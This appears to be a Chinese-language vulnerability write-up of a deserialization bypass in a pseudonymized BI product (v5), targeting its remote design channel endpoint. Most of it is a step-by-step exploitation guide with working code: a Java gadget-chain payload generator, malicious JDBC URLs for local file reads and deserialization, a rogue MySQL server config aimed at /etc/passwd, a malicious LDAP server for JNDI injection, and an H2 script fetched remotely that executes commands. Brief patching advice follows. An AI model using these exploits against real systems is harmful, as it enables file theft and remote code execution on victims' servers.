某软BI v5反序列化绕过
字数 1127 2025-08-24 10:10:13
某软BI v5反序列化绕过漏洞分析与利用
漏洞概述
本文详细分析了某软BI v5版本存在的反序列化绕过漏洞,该漏洞位于远程设计通道接口(/webroot/decision/remote/design/channel),攻击者可以通过构造特定的序列化数据实现任意文件读取和远程代码执行。
漏洞利用链分析
1. 反序列化入口点
漏洞触发点位于某软BI的远程设计通道接口,该接口接收Base64编码的GZIP压缩序列化数据:
POST /webroot/decision/remote/design/channel HTTP/1.1
Host: 127.0.0.1:37799
Content-Type: application/json
X-Requested-With: XMLHttpRequest
# Base64编码的GZIP压缩序列化数据
2. 利用链核心组件
利用链涉及以下关键组件:
- Jackson反序列化:通过
ObjectMapper处理JSON数据时触发getter方法 - JSONArray/JsonStringArrayList:toString方法调用
ObjectWriter.writeValueAsString - UIDefaults$TextAndMnemonicHashMap:get方法触发key的toString
- Hashtable反序列化:通过reconstitutionPut触发key的hashCode和equals
3. 主要利用方式
3.1 任意文件读取
通过MySQL JDBC驱动的allowLoadLocalInfile参数实现:
jdbcUrl.set(druidXADataSource, "jdbc:mysql://127.0.0.1:3306/mysql?characterEncoding=utf8&useSSL=false&allowLoadLocalInfile=true&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_C3P0_calc");
3.2 JDBC反序列化
利用MySQL服务端返回的序列化数据触发反序列化:
# MySQL Fake Server配置
yso_dict = {
b"yso_1_1": get_yso_content(yso_type, command)
}
3.3 JNDI注入
通过OracleCachedRowSet的getter方法触发JNDI查找:
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
Field dataSourceName = OracleCachedRowSet.class.getSuperclass().getDeclaredField("dataSourceName");
dataSourceName.setAccessible(true);
dataSourceName.set(oracleCachedRowSet, "ldap://127.0.0.1:4444/dc=example,dc=com");
3.4 H2数据库RCE
利用H2数据库的初始化脚本执行命令:
jdbcUrl.set(druidXADataSource, "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/sql.sql'");
sql.sql内容:
CREATE TRIGGER poc2 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
//javascript
java.lang.Runtime.getRuntime().exec("calc")
$$
;
漏洞利用详细步骤
1. 生成序列化Payload
1.1 使用CB链生成字节数组
public static byte[] getPayload() throws Exception {
TemplatesImpl obj = generateTemplatesImpl();
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
1.2 生成GZIP压缩的Base64编码Payload
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(baos);
gzipOutputStream.write(serializedBytes);
gzipOutputStream.finish();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(baos.toByteArray());
System.out.println(base64);
2. 搭建恶意MySQL服务
使用修改后的server.py搭建恶意MySQL服务,配置config.json:
{
"config": {
"ysoserialPath": "ysoserial-0.0.6-SNAPSHOT-all.jar",
"javaBinPath": "java",
"fileOutputDir": "./fileOutput/",
"displayFileContentOnScreen": true,
"saveToFile": true
},
"fileread": {
"__defaultFiles": ["/etc/passwd", "C:/windows/win.ini"]
},
"yso": {
"yso_1": ["CommonsCollections6", "calc"]
}
}
3. 利用任意文件读取
构造JDBC连接字符串读取本地文件:
Field jdbcUrl = DruidXADataSource.class.getSuperclass().getSuperclass().getDeclaredField("jdbcUrl");
jdbcUrl.setAccessible(true);
jdbcUrl.set(druidXADataSource, "jdbc:mysql://127.0.0.1:3306/mysql?allowLoadLocalInfile=true&autoDeserialize=true&user=fileread_/etc/passwd");
4. JNDI利用
4.1 搭建恶意LDAP服务
public class LDAPServer {
public static void main(String[] args) throws Exception {
int port = 4444;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://127.0.0.1:8081/#test")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
}
}
4.2 触发JNDI查找
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
Field dataSourceName = OracleCachedRowSet.class.getSuperclass().getDeclaredField("dataSourceName");
dataSourceName.setAccessible(true);
dataSourceName.set(oracleCachedRowSet, "ldap://127.0.0.1:4444/dc=example,dc=com");
漏洞修复建议
- 升级某软BI到最新版本,厂商已发布修复补丁
- 限制反序列化类白名单,禁止危险类的反序列化
- 关闭不必要的JDBC连接参数,如
allowLoadLocalInfile - 升级相关组件版本:
- MySQL Connector/J到最新版本
- H2数据库到1.4.200+
- 设置Java安全属性限制JNDI访问:
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
总结
该漏洞通过精心构造的反序列化利用链,结合JDBC和JNDI等特性,实现了从任意文件读取到远程代码执行的多重攻击效果。防护此类漏洞需要从反序列化防护、组件安全配置和运行时环境加固等多方面入手。